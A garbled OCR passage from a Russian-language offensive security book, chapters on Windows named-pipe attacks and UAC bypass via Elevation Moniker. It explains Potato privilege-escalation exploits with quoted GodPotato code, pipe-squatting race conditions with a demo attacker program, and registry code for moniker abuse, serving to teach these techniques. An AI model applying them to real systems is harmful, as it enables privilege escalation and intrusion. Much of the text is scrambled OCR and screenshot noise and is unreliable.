стриr­ rерить учетную запись системы на пайп, захватить токен, нацепить его на себя.
Глава 14. Используем Named Pipes при атаке на 269 Windows Вот несколько таких эксплойтов: □ PrintSpoofer (https://github.com/itm4n/PrintSpoofer) - триггер на пайп проис­ ходит через службу печати; □ □ триггер CoercedPotato (https://github.com/hackvens/CoercedPotato) службу печати, а также через механизм PetitPotam со злоупотреблением циями протокола MS-EFSR; DiagTrack (https://github.com/Wb04m1001/DiagTrackEoP)-тpигrep через уяз­ вимую службу □ □ через функ­ DiagTrack; RasmanPotato (Ьttps://gitbub.com/crisprss/RasmanPotato) службой Rasman; злоупотребление inagicAzureAttestService (bttps://github.com/crisprss/magicAzureAttestService) AzureAttestService. служба Отдельно хочу выделить эксплойт GodPotato). GodPotato (bttps://github.com/ВeichenDream/ Глобально его логика ничем не отличается от инструментов, перечис­ ленных выше, однако сам триггер происходит по методу Kerberos Relay. То есть идет злоупотребление DСОМ-аутентификацией. Я подробно рассматривал этот механизм в материале «Ретрансляция Kerberos. Как работает RemoteКrbRelay» ( https ://ha br.com/ ru/articles/848542/). Вот что происходит при использовании этого эксплойта. l. Запускается пайп-сервер (bttps://github.com/ВeicbenDream/GodPotato/ЫoЫ 59f66583474fЪ0297b7447551460e1072de324c0/NativeAPI/GodPotatoContext.cs #L269, рис. 14.9). 267 void Sta r t() { i--= (IsHook && !IsStart) 268 { 266 V puЫic pipeServerThread = nen Thread(PipeServer); pipeServerThread.IsBackground = true; pipeServerThread.Start(); IsStart = t rue; 269 270 271 272 273 } 274 else 275 { thron nen Exception("IsHook 276 277 false"); } 278 279 } Рис . 2. Через перезапись кода 14.9. функция Запуск Рiре-сервера нookRPC () (Ьttps://github.com/ВeichenDream/ GodPotato/ЫoЬ/59f66583474fЪ0297b7447551460e1072de324c0/NativeAPI/GodPo tatoContext.cs#L28 l) биндит на разрешенном 13 5-м порте ( чтобы перехватывать
Часть 270 Системное программирование для хакеров 11. SМВ-аутентификацию) функции RpcServerUseProtseqEp () в RPC Dispatch ТаЬ\е. Вместо этого будет вызываться функция fun () (https://github.com/ВeichenDream/ GodPotato/ЫoЬ/59f665834 7 4fЬО2 97Ь7 44 7 551460е 1072de324c0/N ativeAPI/GodPo tatoContext.cs#L341, 1••• 281 puЬlic V рис. 14.1 О). void HookRPC() 282 283 uint old; 284 VirtualProtect (OispatchTaЫePtr, (uint) ( Intptr. Size 285 Marshal . Wri telntPt r"" (DispatchTaЫeptr, Harshal . GetFunctionPointerF orDelegate( useProtseqDelegate)); 286 IsHook = I dispatchTaЫe. length), 0 ,-(Ц , ,Jt old); true; 287 Рис. 14.1 О. Перезапись RPC Dispatch ТаЫе В качестве конечной точки для подключения указывается пайп 3. (https://gith ub.com/ВeichenDream/GodPotato/ЫoЬ/59f665834 7 4fЬО297Ь 744 7551 460e1072de324c0/NativeAPI/GodPotatoContext.cs#L343, рис. 14.11 ). 4. Срабатывает триггер системы через маршалинг вредоносного объекта Происходит обращение к 5. OXID Resolver отдает RPC String Binding 341 V 1 342 puЫic OBJREF. OXID Resolver. на эндпоинт из пункта 3. int fun(Intf>t:r ppdsaNewBindings, Intf>t:r ppdsaNewSecurity) { string[) endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:fuck you 343 !" }; 344 346 int entrieSize = 3; •or (int i = 0; i < endpoints.Length; i+ +) 347 { 345 entrieSize += endpoints[i].Length; entrieSize++; 346 349 350 Рис. 14.11. Эта функция пишется в RPC Dispatch ТаЫе, здесь можно увидеть зндпоинт 198 199 if ((isConnect 11 Harshal.Getla stWinЗ2Error() == ERROR_PIPE_CONNECТEO) && IsStart) 200 201 Conso_l~_W riter.';l~iteline("[•] Pipe Connected!"); 202 if (ImpeгsonateNamedPipeClient (pipeServerHandle)) 203 204 systemldentity 205 i f ( systemldentity. Impersonationlevel <= Tok.enlmpersonationlevel. Identi fication) = Windowsldentity .GetCurrent (); 206 207 RevertToSelf(); 208 209 210 ConsoleWriter.Writeline("[*] CurrentUser: 211 ConsoleWriter .\·lriteline (" [ •] Currentslmpersonationlevel: " + systemldentity. Impersonat ionlevel) j "+ systemidentity.Name); 212 Рис. 14.12. Эта функция пишется в RPC Dispatch ТаЫе, здесь можно увидеть зндпоинт
Глава 6. 14. Используем Named Pipes при атаке на Происходит аутентификация на ImpersonateNarnedPipeClient() 271 Windows NamedPipe и дергается функция (https://gitbub.com/ВeichenDream/GodPotato/ЬloЬ/59f66583474fЬ0297b7447551 460e1072de324c0/NativeAPI/GodPotatoContext.cs#Ll 77, рис. 14.12). Скрытое чтение данных Как вы уже знаете, пайпы нужны для чтения данных. У пайпов есть дескриптор безопасности, который по умолчанию позволяет всем читать текстовые данные из пайпа. Сразу даже как-то не верится: неужели мы можем считывать все данные из пайпа? Можем! Нужно только учесть одну особенность: читают данные обычно с помощью стан­ дартных API, например ReadFile (). А такое считывание приведет к тому, что пайп опустеет. То есть данные будуr считаны и удалены из пайпа. Для нас такое поведе­ ние недопустимо, поэтому на помощь приходит функция PeekNarnedPipe () (bttps:// learn.microsoft.com/ru-ru/windows/win32/api/namedpipeapi/nf-namedpipeapipeeknamedpipe ). Эта функция считывает данные, не удаляя их из пайпа. С ней мы сможем получить список пайпов в системе, а потом в цикле считывать из них данные с помощью PeekNarnedPipe () и искать в них чувствительную информацию или хотя бы какие-нибудь данные, которые помогут продвинуться дальше. Я немного изменил логику программы в части поиска пайпов, добавив возмож­ ность чтения данных, лежащих в пайпе, с выводом размерности. Код большой, це­ ликом ищите на моем 5f3783е08Ы227с07Ь (рис. GitHub: 14.13). Рис. bttps://gist.gitbub.com/МzHmO/1880051aa52924 14.13. Пример чтения
272 Часть 11. Системное программирование для хакеров Гонка пайпов Помните, я говорил, что можно создавать неограниченное количество каналов с одним и тем же именем? Система будет использовать тот канал, который был создан раньше. Можно считать, что все пайпы с одним названием организованы в формате очереди - First In First Out. Таким образом, появляется возможность некоторого состояния гонки: кто быстрее, того и тапки. Есть одно исключение: если при создании пайпа используется флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то Windows автоматически проверит, нет ли пайпа с та­ ким именем. Если имя уже занято, то пайп не создастся. Также стоит учесть пара­ метр nМaxinstances, который определяет максимальное количество пайпов с одним именем. Держите в голове и еще одну особенность: если в системе уже создан пайп, то но­ вые создаваемые пайпы с таким же именем будут наследовать дескриптор безопас­ ности ранее созданного пайпа. Как это можно эксплуатировать? Допустим, есть клиентское приложение, возмож­ но даже, работающее в другом контексте, которое пытается подключиться к такому же привилегированному приложению - серверу пайпов. Если мы сможем опере­ дить серверное приложение и создать пайп с нужным именем раньше, то клиент подкточится к нам и у нас будут все возможности для воздействия на него. Напри­ мер, никто не помешает имперсонировать чужой контекст или отправлять специ­ ально созданные пакеты в пайп, ожидая, что клиент совершит вредоносные дей­ ствия. Итак, сценарий атаки на клиент по шагам. 1. Определяем целевое приложение, которое создает пайп. 2. Обнаруживаем клиенты пайпа. Делать это можно через 3. Пишем приложение, которое создает пайп с таким же именем, что и атакуемое PipeViewer (рис. 14.14). приложение. 4. Реализуем Race Condition, создавая наш пайп раньше, чем приложение-сервер. 5. Клиенты начинают подкточаться к нам. 6. Проводим имперсонацию или пишем/читаем данные. В общем, воздействуем на клиент так, как можем. Есть сценарий атаки на сервер. Держите еще в голове информацию про дескрип­ тор? Смотрите: 1. Обнаруживаем приложение, которое создает пайп. 2. Можем попытаться пореверсить целевое приложение и попытаться обнаружить, какие его возможности доступны клиентам и что они могут делать с сервером. Следует также проверить 3. Скорее всего, DACL DACL пайпа. не позволит нам подключаться к этому пайпу, поэтому здесь в игру и вступает наш Race Condition.
Глава 14. Используем при атаке на Named Pipes 273 Windows - ► r- ... ... -- --- -- _ ....... -- --· -- - х □ ... ~~=======~ :::::·::::=== с:::,: == t:~~== ~ --=:: ...._.., ::=-=. ===-== =ё"-➔.,;;= :· ==с=':"= э_:= =·c,:~ ~::::t::~~~~~~~~==1~::::~---t:'::":=--E==--t.-----E:::::'='• ~~~=⇒= ~~~:~=~~•to=⇒= ....... Lм ......... ""'"" _.., ," - . . ~ , == с...,,,.. ......... ~- =-- ------ =-- - --- ---- ----·- -,_ --"" - 1 ' ' ' -С 1 - ~ - WIW)_ ~-=1i1111IDl2:Ф•--...нt lUТКRТVL_____.o.t -=-,--1-.__ ,__ ,~~.-_-c--+~--l--f= -l - - - - 1 c,_ - c -c--+--==='+-.с·~~~-=•=-=t..... f'4Wl'SI[ "-- ~ r - - - + - - --.+- - -lt -- - - + \ 1.. ws iucoL - -1 ' ~.:;;:;-._~~-~~;:~--:;;:i-;-=,.,,. •.,,,.._ ~:;;:;:===t~;~= 3'\\:;;-;::;s~~1-; ;: =~~;:~~;~;;;~;:= ,_ ~:;~;:~:::===~ ' .....,.. ...... 111[- ..... 111(- ...._ "\\. . . , _ . , . I\ \ ~ ,_ .. ' . . . . . .. A,W;._ ~ w . w )- Wii(_ 1/1/1581 -:. №~NI №~ ~. . . -- ~~ 1/1 /№lюtOO ::-М t№ТlfJAlм..._ ..О.. 1 -,- !мм 11- . - ..[ -! .... ~~=~r=~~==~1r:~== ·: =~-•= _:_..... =-~~"::~:::;E-f= ~~=c~c~ё ~'-~t1~=~"'~'-~=-=-+~~~?~~~~~~;~J'=-+J~=-~~~j:_~-~ ~c'~=-=-~~E~=~~~~t~=i~+~......... = c:=__J-JE....,_ ,: ..;:,s-J r~ ~ j\\~ -111(- .....1 1 ( - i''-~ ...... IIWТN.11' 1, \ ........,_.... ........ ,_ 1 1 1 ~Alllfi.... ~ 1 1/1/К81Z11ООО ..,.;, W . 0 - . ~ ; ~~~'мWI Nt.-untOJII~ ~ --+- i W.O...WIW- .1 1111№1288 N1.IIIJ110l~ ....... . ..,. -+--... o.t ...... 1 1 ( - ......... 1 ==,....,..=.,,~~1'МL:- i11/t812;C8tl~.мm«J111м...-~o.. ,__ =,,,-c:: ._ ='--F=='!F==-1="----F=-f'==--!"--F =--+w......_ :f"~~~~"',= ~ ....... ~'мllilD- ""-O-.W181(_ ........... Adil'L ~ W I W I W..0-.WIW- 11'/КIIIIOIIII t/l/1SUl2.a• :с.«с NI/IUn«:IAI~ ' 1 -~---~- ~ ...,.._ .... ...." t - _._.~ ...,_ \\\.....,.,..,,.. .=--=""'==- --r--.o .a. _ =:=:=' °=' :, ==-+:-'""" ~~::::~-~t:Ш-~~t~~1:"',,,:::,_~..... ~::::~-~--~J===~,,,...,..,,, , -~~~jt ~=~ ~ :::::~~•-~t~-~~-~~•~-:;:~~-; t-~ ~~t=jМм8о1,,,,,Е,,... ~;j ...... ~"~-~~-~Мlk , ,._.,_\rrflliiO a.-w._'--: JIЛ/1IOII01111 _u..,~p~ .......... , , .......... :,\.~ ~ 111 ~ P i .,._._ \\.............._...._ ,\.......,.... LL ....... 0.-F.ftrf№ ~ ....... 1 ....,_ 1 ......,._ 1 ~~ "-'l)м\rrflliiO _ w..o-,w.w_ J 1лtМ0110ttD Dм Oi5'1I . . .r.,......,__ a.,,i +-OIRO Nl№ПOI ~ ,=c.._ ~ • =-=cc."'-=...-""' = ""'c-c"=' "--''..,,_ - cc"" ==-1,-""' - =c.c-=+-==c- :"" = = -='-.-'----F'....., c===-+-= ='----E-= ---+" "'"" ""cc-+-="" "'cc '-'-----t-= '-'-"--' .,;'\c.c-=c~-;= OtltllJ ____ = w...(__ _ и1101t11t .:i ___м1,1,t1rto1fV\_ Dм =tc== =,;"wedllt -' --+='➔== = -=-F-==--t'- = --+" ='---f-="'"'""''--''-=-+c-= -= --1= c..ccc=-+'_.,,.,, ;_c"c.= --t - "~ = = =: =~==-~ =====~ - - - - + lf___ --+.... --_+.... - - ,-.,-..,, - ,_----<k:~= =---<e- 1:~=: = =:,::==:=.... \ ~ -. ~~~ i..o.,WtllO ! .....0-.WL 11 1 ' 1 ' ~ .riunt:Rr'l"\-_..a.,,i 1 1 Рис. 4. - .~ , - - +- --+- 14.14. Т ..,,, -➔ " " .... Поиск клиентов Пишем программу, которая создает пайп с таким же именем , что и атакуемое приложение. Затем нужно сделать как-то так, чтобы наша программа создала пайп раньше, чем атакуемое приложение . 5. Если мы сможем опередить атакуемое приложение, то последующие создавае­ мые атакуемым приложением пайпы будуr наследовать права доступа нашего пайпа. Это позволит нам подключиться к ранее недоступному пайпу и пользо­ ваться его возможностями . 6. Успешно подключаемся к пайпу в целевом приложении и злоупотребляем его возможностями . Подобная ситуация уже встречалась в реальных условиях : это СУЕ-2023-33127 (https://gist.github.com/Ьohops/c7Ы35ee7П593a3a76014tif87abb30). Подсистема CLR Diagnostics создавала пайп в любом дотнетовском приложении . Конечно же, просто так к этому пайпу подключиться было нельзя или пользователь опередить CLR. - - это могла сделать только система владелец процесса. Однако у атакующего была возможность В таком случае он успешно создавал пайп с нужным именем , а за­ CLR и создавала еще один пайп (считайте, второй тем подключалась система в очереди). В этот раз, т. к . цессе .NET DACL наследовался, созданный системой CLR в про­ пайп позволял подключаться к себе. И тогда атакующий мог восrюльзо­ ваться возможностями приложения, подгрузив в него вредоносный код (https:// github.com/МayerDaoiel/profiler-lateral-movemeot). Повторим пошаrово . l. Эксплойт сначала должен запустить любое дотнетовское приложение от лица другого пользователя через в главе 16. Session Moniker. Моникеры я буду PhoneExperienceHost. Автор РоС запускал приложение рассматривать
Часть 274 Приложение написано на 2. .NET, 11. Системное программирование для хакеров поэтому платформа CLR будет пытаться создать пайп с именем dotnet-diagnostic-( PhoneExperienceHost PID). С помощью эксплойта обгоняем платформу 3. и создаем этот пайп в нашем CLR процессе. 4. Просыпается 5. На этот второй пайп наследуется дескриптор нашего пайпа (первого). А в нем мы CLR, создает еще один пайп, уже в процессе PhoneExperienceHost. можем прописать что угодно, например разрешение Full Access группе Everyone. Подключаемся ко второму пайпу. 6. Используем 7. возможности приложения и подгружаем с вредоносным пейлоадом. Здесь-то и происходит LPE, профилировщик кода потому что мы смогли: инстанцировать .NЕТ-приложение в чужой сессии; создать в нем пайп, к кото­ рому можем подключиться; подключиться к пайпу и злоупотребить его возмож­ ностями. Для наглядности продемонстрирую эту атаку (рис. пайп \ \. \pipe\helloworld, 14.15). Пусть есть некоторый к которому подключается клиент, читает из него данные и выводит в консоль. Есть также легитимный Pipe Server, который этот пайп запуска­ ет и передает клиенту строку. 8 д..,..и"IIIICl'pitТop: Wind~ Ро Х + □ V LastWriteTiine Mode d----- 18 . 01.2025 Lengt h Na11e 16 : 31 Debug PS A: \ssd\ProjectsVS\Articles\x611> cd . \Debug\ PS А : \ssd\ProjectsVS\Articles\xбil\Debug> dir rn А: \55D\Projec tsVS \Artic les \хб4 \Debug>. \Cl ient . ехе Received n1essage: Hello from Pipe se,-ver! А: Каталог : А : Mode дАJ.НfНt1стратор: Ко манднаА прока \SSD\Projec tsVS \Artic les \хб4 \Debug:- \ssd\ProjectsVS\Articles\x611\Debug LastWriteTi11e Length Name ----- ..-- ..- - а --- - - а -- 18 . 01 . 2025 18 . 01 . 2025 18 . 01.2025 18 . 01 . 2025 16:31 16 : 31 16:31 16: 31 70656 Client . ехе Client . pdb 71168 Server. ехе 12902Ц0 Server . pdb 129&2Ц!) PS А: \ssd\ProjectsVS\Articles\x611\Debug> . \Client. ехе Error connecting to pipe. Error code : 2 PS А : \ssd\ProjectsVS\Article s\x611\Debug> . \Server. ехе Waiting for client connection . .. 11essage sent : Не l to fro11 Pipe Se rver ! PS А: \ssd\ProjectsVS\Articles\x611\Debug> 1 Рис. // Client.cpp #include <windows.h> #include <iostream> 14.15. Легитимное исполнение х
14. Глава Используем Named Pipes при атаке на Windows 275 int wmain () { const wchar_t* pipeName = L11 \\\\.\\pipe\\helloworld 11 ; НANDLE hPipe = CreateFileW( pipeName, GENERI С_READ, о, NULL, OPEN_EXISTING, о, NULL); if (hPipe == INVALID_НANDLE_VALUE) { std: :wcerr « L"Error connecting to pipe. Error code: return 1; 11 « GetLastError() « std: :endl; wchar_t buffer[512]; DWORD bytesRead; if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) { std: :wcerr « L11 Error reading data. Error code: 11 « GetLastError() « std: :endl; else { std: :wcout « L"Received message: 11 « buffer « std: :endl; CloseHandle(hPipe); return О; срр #include <windows.h> #include <iostream> int wmain() { const wchar_t* pipeName = L11 \\\\.\\pipe\\helloworld 11 ; НANDLE hPipe = CreateNamedPipeW( pipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE I PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 512, 512, о, NULL);
276 Часть 11. Системное программирование для хакеров if (hPipe == INVALID_НANDLE_VALUE) { std::wcerr « L"Error creating named pipe. Error code: "« GetLastError() « std::endl; return 1; std: :wcout « L"Waiting for client connection ... " << std: :endl; if (ConnectNamedPipe(hPipe, NULL) = FALSE) { std: :wcerr « L"Error connecting client. Error code: " « GetLastError() « std: :endl; CloseHandle(hPipe); return 1; const wchar_t* message = L"Hello from Pipe Server!"; DWORD bytesWritten; if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) std: :wcerr << L"Error sending data. Error code: " << GetLastError() << std: :endl; else { std: :wcout « L"Message sent: " « message « std: :endl; CloseHandle(hPipe); return О; Однако некий Evil.exe оказался быстрее нашего Server.exe. Смотрите, что происхо­ дит (рис. 14.16): // Evil.cpp #include <windows.h> #include <iostream> int wmain() { const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld"; НANDLE hPipe = CreateNamedPipeW( pipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE I PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 512, 512, О, NULL); if (hPipe == INVALID_НANDLE_VALUE) { std: :wcerr « L"Error creating named pipe. Error code: " « GetLastError() « std: :endl;
Глава 14. Используем Named Pipes при атаке на 277 Windows return 1; std: :wcout « L"Waiting for client connection . .. " if (ConnectNamedPipe(hPipe, NULL) == FALSE) std: :wcerr « « std: :endl; { L"Error connecting client . Error code: " « GetLastError() « std: : endl; Cl oseHandle( hPipe); return 1; const wchar_t* message L"<img src=x onerror=alert()> I "; DWORD bytesWritten; if ( 1WriteFile(hPipe , message, std : :wcerr « (wcslen(message ) + 1 ) * sizeof(wchar_t) , &bytesWritten , NULL)) L"Error sending data. Error code: " « GetLastError () else std: :wcout << L"Message sent: " << message << std : :endl; CloseHandle(hPipe); return О; Рис . 14.16. Пример эксплуатации « std: :endl;
278 Часть 11. Системное программирование для хакеров Как видите, Evil. ехе создал пайп раньше, за ним тот же самый пайп создал и Server. ехе, но, согласно принципу клиенту первым к Ev1l. ехе, а FIFO, Windows Server. ехе дала возможность подключиться проигнорировала. Заключение Порой встроенные механизмы межпроцессного взаимодействия могут таить в себе самые неожиданные концепции и примитивы, которые позволят атакующему по­ выситься в системе, прочитать чувствительные данные или внедрить собственные библиотеки в чужие процессы. Для обнаружения таких векторов нужно обладать упорством, верой в себя и щепоткой удачи.
ГЛАВА 15 Исследуем обход UAC на примере Elevation Moniker Механизм User Account Control в Windows не дает пользователю взять и запустить малварь от лица администратора. Впрочем, система любезно предусмотрела меха­ низм Elevation Moniker, чтобы упростить жизнь хакерам. В этой главе мы разберем, как использовать моникеры для обхода UAC. Всё по-взрослому! На жестком С++ с интерфейсами. Моникеры Первым делом отметим, что моникеры (Component Object Model). - один из кирпичиков подсистемы СОМ С помощью СОМ разработчики могут создавать такие программные компоненты, которые способны взаимодействовать друг с другом в самых разных плоскостях. Например, с помощью СОМ можно из кода Visual Basic дергать сборку .NET и наоборот (рис. 15.1)! А что вы думаете по поводу связ­ ки программ на Здесь есть ент - Go и С++? сервер - им считается тот, кто предоставляет функции СОМ, - и кли­ тот, кто обращается к функциям сервера. Возможности сервера СОМ пропи­ сываются в классе СОМ. При обращении к серверу СОМ создается экземпляр клас­ са СОМ, и клиент получает этот экземпляр. После чего может взаимодействовать с сервером. Конечно, уже опытные читатели скажут, что в действительности идет работа с ин­ терфейсами: сервер зачастую отдает маршализированный интерфейс, через кото­ рый будет происходить взаимодействие, а еще между клиентом и сервером висит прокси, стаб, апартаменты, RPC ... Впрочем, такие подробности не нужны. Пока достаточно понимать, что есть сервер и клиент СОМ. Их взаимодействие проис­ ходит через экземпляр класса СОМ, в котором определены некие возможности. Изучить базу про СОМ можно в статье Inside СОМ+: Base Services (https:// thrysoee.dk/lnsideCOM+/) или в официальной документации (https://learn. microsoft.com/en-us/windows/win32/com/component-object-model-com--portal). Для создания экземпляра класса СОМ (процесс инстанцирования) требуется специ­ альное значение CLSID (Class Identifier). Оно однозначно идентифицирует класс
Часть 280 11. Системное программирование для хакеров СОМ, к которому хочет обратиться клиент. Помимо того, само создание объекта СОМ реализовывало порождающий паттерн проектирования, называемый фабри­ кой (https://javarush.com/groups/posts/2370-pattern-proektirovanija-factory). --------- --------------------. 1 1 1 1 1 с с 1 ..... •1 1 С++ С+• j ., 1 1 . 1 :__ Component Consumer ___ _____ __ . ___.,, __ .,. __ _____ .,.._..,,. Рис. Component Provlderl: -• --------------------------·- 15.1. Component Object Model Все с этим нормально жили и не тужили, однако в один момент захотели избавить­ ся от обязательного использования CLSID и фабрики. Хотелось сделать всё так, чтобы объект находился как-нибудь сам, автоматически, по минимальному общему входному набору данных. И тогда на помощь пришли моникеры. Они позволяют идентифицировать конкрет­ ный объект СОМ (или даже полноценно его реализовать) по простой строке (moniker string). Эдакая строковая презентация объекта СОМ. Процесс инстанцирования объекта СОМ из моникера называется активацией или же связыванием моникера (Binding). Моникер обладает достаточной информацией, чтобы найти и активировать нужный объект СОМ. Эту информацию моникер получает один раз, во время своего создания - в виде строки, формат которой он понимает. Позже менять эту информацию уже нельзя. Поэтому моникер, будучи однажды созданным, всегда находит и активирует один и тот же объект. Моникерами считаются все объекты, которые реализуют интерфейс rмoniker. Воз­ врат клиенту объекта СОМ происходит в функции IMoniker: :BindToObject (). НRESULT [in] [in] [in] [out] ); BindToObject( IBindCtx *рЬс, IMoniker *pmkToLeft, REFIID riidResult, void **ppvResult
Глава 15. □ рЬс - Исследуем обход ИАС на примере 281 Elevation Moniker контекст связывания. Эrо специальный объект СОМ, реализующий ин­ терфейс rвindCtx. С помощью этого объекта указывается, каким образом должен осуществляться и как проходит в этот момент процесс связывания (активации объекта СОМ по моникеру); □ prnkToLeft - целевой моникер, по которому создавать объект СОМ; □ riidResult - внутри каждого класса СОМ может быть реализовано несколько интерфейсов. Здесь указывается 11D (lnterface Identifier) целевого интерфейса, который хотим получить; □ ppvResult - переменная, которая получит инициализированный указатель на ин­ терфейс, через который можно взаимодействовать с классом СОМ. Подвидымоникеров Моникеры делятся на два подвида: □ системные (они же встроенные, доставляемых Microsoft; □ пользовательские они же стандартные) - набор моникеров, пре- созданные сторонними разработчиками. - Даже системных моникеров очень много. Мы остановимся на одном конкретном: Elevation Moniker elevation-moniker). (https:/Лearn.microsoft.com/ru-ru/windows/win32/com/the-com­ Эrот моникер позволяет активировать объект СОМ в контексте повышенных привилегий. С помощью этого моникера хакер способен из процесса со средним уровнем целостности получить доступ к объекту СОМ, расположен­ ному в процессе с высоким уровнем целостности, а затем, злоупотребляя возмож­ ностями этого объекта, выбраться в привилегированный процесс. Помимо этого, существуют Session Moniker (https://learn.microsoft.com/ru-ru/ windows/win32/termserv/using-a-session-moniker), с их помощью клиент может инстанцировать объект СОМ в чужой сессии. На этом был основан эксплойт СОМ Session Moniker ЕОР (https://t.me/RedTeambro/306). Впрочем, о нем поговорим в следующей главе. Для успешного байпаса UAC нужно соблюдение нескольких условий: □ наличие интересных возможностей в классе СОМ: выполнение команд, удале­ ние файлов, добавление пользователей - в общем, все, что требует токена с вы­ соким уровнем целостности; □ правильная регистрация класса СОМ в реестре Windows. Начнем со второго пункта. Регистрация Elevation Moniker Класс СОМ (его поле RunAs runas)) (https://learn.microsoft.com/en-us/windows/win32/com/ должен иметь значение The Launching user (это значение дефолтное, применя­ ется в том числе, если поле RunAs пустое) либо Activate As Activator. Если значение
Часть 282 11. Системное программирование для хакеров другое, то при попытке забиндиться к моникеру получим ошибку со_Е _RUNAS _VALUE_ MUST ВЕ ААА. Предлагаю рассматривать на примере класса СОМ, который соответствует всем требованиям. Вот его CLSID: {3ESFC7F9-9A51-4367-9063-A120244FBEC71 Значение RunAs указывается для ApplD, поэтому сначала вычленяем AppID для CLSID (рис . 15.2) . - Pwm>p реестр, • Пр,"" Ф1м в" И,брtнное: о х Сnр,,1ц Koмn..,.ep\HKEY_LOCAL_МACHINE.\SOF1WARE\Cllя,,\CLSID\(3ESFC7f'HAS1-4367-9063-A120ШfВEC7} ) IJ (3D197W-<18C6-418,-A182-ACS01224BAIЩ > 11 (3D197W-4ЗC6-4111,-A182-BEDEOВfA86A9} А ) i1 (ЗD367908-'12Зf-3С13-ВВ93-SЕ171882()fЮ) >ij (304C348E-72DВ-4FЗВ-B74f-37AD2313SOEF} > fl (3DIOE9H93H7S6-ВOAE-72EOFBS3SAE4} "1 и- Тмn !iЮ (По умолчо..,.) 1 R[G_SZ REG_SZ REG_EXPANDaSZ [~ Appld ~ LocllizedSlnng 3111-.ettlitt СМSТРt.Uд ~Зfж:m-9АS1-4367-9063-А1202ЩВ[С7) l iЦ&iМAS&SLG9&МG2\CmlpiШ.&( - IOO (3D~E- FAEA-47D6-ВEl2-301 ДS(){ВCQ2S} -В lnpro&.v.r32 ) (3DВ13Df[-6C91 -""4E-llf41-()4346A841D9C} >11 (3DВSCВ81-CS20-4361-8C9A~1A9ВDD) • ) 11 (3did6cSd-2167-4cн-9914-f99o41c12d,} > > (3DBEE9A1-C471-489S-BВCA- F393100bl4S8) (3DBFEF3►6f1µ,sз-вc19-D7ADSCCD47S6) > l'i (30C09436-7083-4ВAD-ADDC-CD47F996CSВA} ) 111 (ЗDС7=-одСD-11Сf-А9ВВ-00дд004АЕ837} ; 111 (3ddS3d40-7Ь8Ь-1100-Ь013--00o.OOS9co02} ) lil (3dd6Ь«Q-8193-4ffe-и2►e08e39u406J} >11 (3DD82D10-E6f1-11D2-B139-0010SA1mд1} > li1 (3DD82114-928►30A6-906D-B117640CA927} >fi1 (3DDEB7A4-IIAВf-4DВ2- 89EE-E1F4SS2E9S8E} > >1 (3DECD500--A278-4ВOC-8ВAA-2682CfA26SFF} (Зd111260-58dЬ-46с1-85ее-ЗS459е115Ь9с} ) [;) (3dldf296-dЬec-41Ь4-81d1-6o34згьd4de} ) fij {3E000072-A845-4CD9-BD83-80C07O8881F} ) 11 (3eCIЗ0.5--6d)c-4daf-Ь41e-7Ь1011ed7e1c} > @& (3129ВС4НОА7-4418-ААС7-7д601F800д14} ) 11 (ЗЕ45Ю37-ОСА6-41н-А594-2АА6СО2D7098} >Jil (3E404f1C-2AEE- 11D1 -9DЗD-OOC04FCЗODF6} ) )9 (3ESOOCOC-501 ►4610-809►7CEBD4C43f24} (3{S4D3BF-8EFA-400f-8875- 886AЗ09E1CВF} )N(3Ш09I0-1FВ9-3040-8174-7S06C9AFE5DA} ,__ ,., ..> (3!58004{-4CE5-4681 - ВAS6-785A67f9FOOC} < - > . Рис. 15.2. Получение ApplD по CLSID Вот как это выглядит в коде : DWORD GetAppidFromClsid(IN std: :wstring clsid, OUT std: :wstring& appid) { НКЕУ hClsidКey ; std::wstring c lsidSuЬKey = L"CLSID\\ " + clsid; if (RegOpenКeyEx (HКEY_CLASSES_ROOT, clsidSuЬKey.c_str(I, О, КEY_READ, &hClsidКey) != ERROR_SUCCESS I return ERROR OPEN FAILED; valueBuffer[256]; DWORD valueBufferSize = sizeof(valueBufferl; ТСНАR
Глава 15. Исследуем обход ИАС на примере 283 Elevation Moniker if (RegQueryValueEx (hClsidКey, L"AppID", NULL, NULL, (LPBYTE) valueBuffer, &valueBufferSize) appid == ERROR_SUCCESS) valueBuffer; RegCloseKey(hClsidКey); return ERROR SUCCESS; После чего проверяем ключ AppID (рис. 15 .3 ). о I 1 ( 3ESFC7F9-9AS 1-4367-9063-А 120244FBEC71 Тнn (3,bklJ77-1 f 15-487c-9050-104dЬcd66683} REG_SZ REG_BINARV REG_SZ REG_BINARV IJ (3«1301f-bS96-4cOЬ-bd9l-013b"f"793} ['j (3F4D7888-4F38-4526-8CDH44068689CSF} (3FSE4887-C907-4f75-82E4-6FDFOCE90Ш} 1. i (; (3fю2163-О..С-4Ь96-84аЬ-d,1307.0117с} ~ х CMSТPLUA mоо04~~ООООООМООООООООООООООЦОО . moo04~kOOOOOO&OOOOOOOOOOOOOOUOO. (40AEEA86-8fDA-4 I.З-9ASf.83\004CFCA91} (.oowд086-382F-46S4-ЭC3F-1610E8SCFIIOEJ (41 2EOF20-6CSB-43EC-879F-DA444A416EAC} ~ f· t-й (41928E27-727S-491C-ASA1-4FDC791BF609} Г (42C21DFS-FBS8-4102-90E9-96A213DC7CE8} i (42CBFAA7-A4A7-478B·В422·8D 1 0E9D02700} (., (434A627HS39-4E99-88FC-44206D94277S} 1.. j (44831 FEC-DCS l-4715-A7E1-E898fDF83C8S} 1. lj (45244f59-BE44-4S02-8867·CВD4FE270EВ6) !.. 1-.А {4S4Sd80-2dfc•4906-•n8-6d986ЬA399•9) L ~ ~ (4SS97<9S-80f6-4S49-В4ff·752d55'2d29} J (4SВA127D-1DA8-46EA-8A87-S6EA9078943C} f (4SEAEJ63-12lA-44SA-9785-3DE890E786FВ} r [J (468DВS95- CFSC -44[ 1-Аб75-4АААВ 19ЕО41 f} (46B988E8-BEC2-401F-AICS-16C694F26D3E} (46C166AA-3108-11D4-9348--00C04F8HB71} !:, 1(478В41Еб·3257-4519-ВDА8-Е971F9843849} l.[, (47FО9FЗВ-б80А-49АС-90СD-7АЗО27ААЕВ1В} L. [1 (4839DDBH8C2-48FS-828HID1807D007D} Lt !48d'6741-1ЬI0-4""'-832S-29308&79'J77} 1- j 